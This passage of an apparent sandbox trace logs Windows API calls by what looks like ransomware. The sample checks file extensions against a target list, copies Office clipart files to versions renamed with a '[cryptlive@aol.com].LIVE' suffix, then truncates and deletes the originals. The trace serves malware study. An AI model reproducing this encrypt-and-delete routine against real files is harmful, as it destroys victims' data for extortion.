returned 63 [0140.881] lstrlenW (lpString=".zip") returned 4 [0140.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.881] lstrlenW (lpString=".rar") returned 4 [0140.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString=".bz2") returned 4 [0140.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString=".7z") returned 3 [0140.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.882] lstrlenW (lpString=".dbf") returned 4 [0140.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.882] lstrlenW (lpString=".1cd") returned 4 [0140.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.882] lstrlenW (lpString=".jpg") returned 4 [0140.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.882] lstrlenW (lpString=".doc") returned 4 [0140.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString=".docx") returned 5 [0140.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.882] lstrlenW (lpString=".pdf") returned 4 [0140.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString=".xls") returned 4 [0140.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.882] lstrlenW (lpString=".xlsx") returned 5 [0140.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.882] lstrlenW (lpString=".ppt") returned 4 [0140.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.882] lstrlenW (lpString=".zip") returned 4 [0140.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.882] lstrlenW (lpString=".rar") returned 4 [0140.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString=".bz2") returned 4 [0140.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.882] lstrlenW (lpString=".7z") returned 3 [0140.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.883] lstrlenW (lpString=".dbf") returned 4 [0140.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.883] lstrlenW (lpString=".1cd") returned 4 [0140.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0140.883] lstrlenW (lpString=".jpg") returned 4 [0140.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.883] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.883] lstrlenW (lpString="DD00372_.WMF") returned 12 [0140.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.918] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=792) returned 1 [0140.918] CloseHandle (hObject=0x380) returned 1 [0140.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0140.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.918] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.918] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.923] GetLastError () returned 0x0 [0140.923] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x318, lpOverlapped=0x0) returned 1 [0140.924] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x320, lpOverlapped=0x0) returned 1 [0140.925] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.925] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.925] SetEndOfFile (hFile=0x36c) returned 1 [0140.925] CloseHandle (hObject=0x36c) returned 1 [0140.926] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.926] SetEndOfFile (hFile=0x380) returned 1 [0140.928] CloseHandle (hObject=0x380) returned 1 [0140.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0140.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.929] lstrlenW (lpString=".doc") returned 4 [0140.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString=".docx") returned 5 [0140.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.929] lstrlenW (lpString=".pdf") returned 4 [0140.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString=".xls") returned 4 [0140.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.929] lstrlenW (lpString=".xlsx") returned 5 [0140.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.929] lstrlenW (lpString=".ppt") returned 4 [0140.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.929] lstrlenW (lpString=".zip") returned 4 [0140.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.929] lstrlenW (lpString=".rar") returned 4 [0140.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString=".bz2") returned 4 [0140.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString=".7z") returned 3 [0140.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.929] lstrlenW (lpString=".dbf") returned 4 [0140.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.929] lstrlenW (lpString=".1cd") returned 4 [0140.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString=".jpg") returned 4 [0140.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString=".doc") returned 4 [0140.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString=".docx") returned 5 [0140.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.930] lstrlenW (lpString=".pdf") returned 4 [0140.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString=".xls") returned 4 [0140.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.930] lstrlenW (lpString=".xlsx") returned 5 [0140.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.930] lstrlenW (lpString=".ppt") returned 4 [0140.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString=".zip") returned 4 [0140.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.930] lstrlenW (lpString=".rar") returned 4 [0140.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString=".bz2") returned 4 [0140.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString=".7z") returned 3 [0140.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString=".dbf") returned 4 [0140.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString=".1cd") returned 4 [0140.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0140.930] lstrlenW (lpString=".jpg") returned 4 [0140.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.931] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.931] lstrlenW (lpString="DD00414_.WMF") returned 12 [0140.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.931] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=42908) returned 1 [0140.931] CloseHandle (hObject=0x380) returned 1 [0140.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0140.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.932] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.932] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.933] GetLastError () returned 0x0 [0140.933] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xa79c, lpOverlapped=0x0) returned 1 [0140.935] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0140.937] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.937] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.937] SetEndOfFile (hFile=0x36c) returned 1 [0140.937] CloseHandle (hObject=0x36c) returned 1 [0140.937] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.937] SetEndOfFile (hFile=0x380) returned 1 [0140.940] CloseHandle (hObject=0x380) returned 1 [0140.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0140.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.941] lstrlenW (lpString=".doc") returned 4 [0140.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.941] lstrlenW (lpString=".docx") returned 5 [0140.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.942] lstrlenW (lpString=".pdf") returned 4 [0140.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString=".xls") returned 4 [0140.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.942] lstrlenW (lpString=".xlsx") returned 5 [0140.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.942] lstrlenW (lpString=".ppt") returned 4 [0140.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.942] lstrlenW (lpString=".zip") returned 4 [0140.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.942] lstrlenW (lpString=".rar") returned 4 [0140.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString=".bz2") returned 4 [0140.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString=".7z") returned 3 [0140.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.942] lstrlenW (lpString=".dbf") returned 4 [0140.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.942] lstrlenW (lpString=".1cd") returned 4 [0140.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.942] lstrlenW (lpString=".jpg") returned 4 [0140.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.942] lstrlenW (lpString=".doc") returned 4 [0140.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString=".docx") returned 5 [0140.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.942] lstrlenW (lpString=".pdf") returned 4 [0140.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.942] lstrlenW (lpString=".xls") returned 4 [0140.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.943] lstrlenW (lpString=".xlsx") returned 5 [0140.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.943] lstrlenW (lpString=".ppt") returned 4 [0140.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.943] lstrlenW (lpString=".zip") returned 4 [0140.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.943] lstrlenW (lpString=".rar") returned 4 [0140.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.943] lstrlenW (lpString=".bz2") returned 4 [0140.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.943] lstrlenW (lpString=".7z") returned 3 [0140.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.943] lstrlenW (lpString=".dbf") returned 4 [0140.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.943] lstrlenW (lpString=".1cd") returned 4 [0140.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0140.943] lstrlenW (lpString=".jpg") returned 4 [0140.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.943] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.943] lstrlenW (lpString="DD00419_.WMF") returned 12 [0140.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.944] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=712) returned 1 [0140.944] CloseHandle (hObject=0x380) returned 1 [0140.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0140.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.944] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.944] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.945] GetLastError () returned 0x0 [0140.945] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2c8, lpOverlapped=0x0) returned 1 [0140.946] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0140.947] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.947] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.947] SetEndOfFile (hFile=0x36c) returned 1 [0140.947] CloseHandle (hObject=0x36c) returned 1 [0140.948] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.948] SetEndOfFile (hFile=0x380) returned 1 [0140.950] CloseHandle (hObject=0x380) returned 1 [0140.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0140.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.952] lstrlenW (lpString=".doc") returned 4 [0140.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.952] lstrlenW (lpString=".docx") returned 5 [0140.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.952] lstrlenW (lpString=".pdf") returned 4 [0140.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.952] lstrlenW (lpString=".xls") returned 4 [0140.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.952] lstrlenW (lpString=".xlsx") returned 5 [0140.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.952] lstrlenW (lpString=".ppt") returned 4 [0140.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.952] lstrlenW (lpString=".zip") returned 4 [0140.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.952] lstrlenW (lpString=".rar") returned 4 [0140.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.952] lstrlenW (lpString=".bz2") returned 4 [0140.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.952] lstrlenW (lpString=".7z") returned 3 [0140.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".dbf") returned 4 [0140.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft 